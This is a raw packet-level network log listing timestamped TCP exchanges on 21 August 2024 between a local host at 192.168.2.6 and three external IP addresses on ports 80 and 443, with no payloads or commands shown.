Aug 21, 2024 08:32:15.961007118 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.961081028 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.961081028 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.961088896 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.961263895 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.970698118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.970710039 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.970716953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.970748901 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.970781088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971282005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971287966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971296072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971311092 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971326113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971334934 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971364975 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971493959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971501112 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971514940 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971523046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971530914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971539021 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971555948 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971586943 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971801043 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971807003 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971817970 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971852064 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971920013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971925020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971935034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971940041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971945047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971950054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971959114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971965075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971970081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971975088 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.971976995 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.971997023 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972054958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972054958 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972063065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972074986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972081900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972095013 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972101927 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972110033 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972116947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972120047 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972126007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972131968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972140074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972146988 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972182035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972189903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972189903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972189903 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972198009 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972206116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972227097 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972235918 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.972296000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972301960 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972311974 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.972377062 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973272085 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973282099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973294020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973301888 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973318100 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973325968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973334074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973364115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973364115 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973376036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973385096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973393917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973401070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973407984 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973416090 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.973424911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973427057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973431110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973438025 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.973445892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973448038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973448038 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973455906 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973488092 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.973496914 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973505020 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.973510027 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.973512888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973654032 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.973725080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973731041 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973736048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973743916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973746061 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973757982 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973766088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973767996 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973774910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973781109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973797083 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973807096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973813057 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973817110 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973829985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973838091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973846912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:15.973875046 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.973886967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.976377010 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976387978 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976393938 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976444960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.976459980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976466894 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976468086 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.976486921 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976495028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976500988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.976509094 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.976536989 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.983624935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983644009 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983650923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983655930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983661890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983665943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983673096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983675003 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.983702898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.983710051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983721972 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.983794928 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.983947992 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983958006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.983966112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.984029055 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.984029055 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.984088898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.984097004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.984111071 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.984117985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.984159946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.984159946 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.984184980 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.984200954 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.984245062 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.984250069 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:15.984280109 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.984308958 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:15.984939098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.984998941 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.985002041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.985008955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.985016108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.985021114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.985025883 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.985030890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.985059023 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.985088110 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.995809078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995824099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995832920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995847940 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995857000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995871067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995872974 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.995882034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995910883 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.995923996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995930910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.995934010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.995995045 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996083975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996090889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996097088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996103048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996114016 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996119976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996124029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996129036 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996136904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996144056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996149063 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996150017 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996162891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996170998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996175051 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996181965 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996185064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996186972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996205091 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996206999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996218920 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996222973 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996227026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996251106 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996272087 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.996814013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996824026 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.996884108 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997390032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997397900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997404099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997410059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997419119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997431040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997437000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997447968 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997500896 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997565985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997571945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997668982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997678041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997690916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997699022 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997706890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997714996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997724056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997728109 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997756958 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997772932 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997906923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997915983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997930050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997946024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997953892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997961998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997965097 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997970104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997978926 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.997986078 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.997994900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998006105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.998023987 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998034954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.998037100 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998047113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998055935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998066902 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998095989 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.998123884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.998168945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998179913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998182058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998188019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998195887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.998231888 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.998265028 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.000840902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000854015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000868082 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000881910 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000895977 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000901937 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000905991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.000916958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000925064 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000932932 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000940084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000947952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000952959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.000952959 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.000957966 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.000974894 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.000991106 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001080990 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001091003 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001100063 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001107931 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001122952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001133919 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001157045 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001182079 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001187086 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001194954 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001200914 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001230955 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001235962 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001243114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001251936 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001256943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001322031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001347065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001353025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001363993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001369953 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001374960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001386881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001394987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001408100 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001425028 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001430035 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001430988 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001449108 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001477957 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001595020 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001601934 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001614094 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001620054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001626968 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001633883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001638889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001643896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001651049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001652002 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001684904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001684904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001705885 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001724005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001732111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001745939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001754999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001776934 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001806021 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001816034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001826048 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001837015 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001844883 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001853943 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.001868010 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001893997 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.001938105 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.002006054 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002015114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002029896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.002038002 CEST	80	49720	147.45.44.104	192.168.2.6
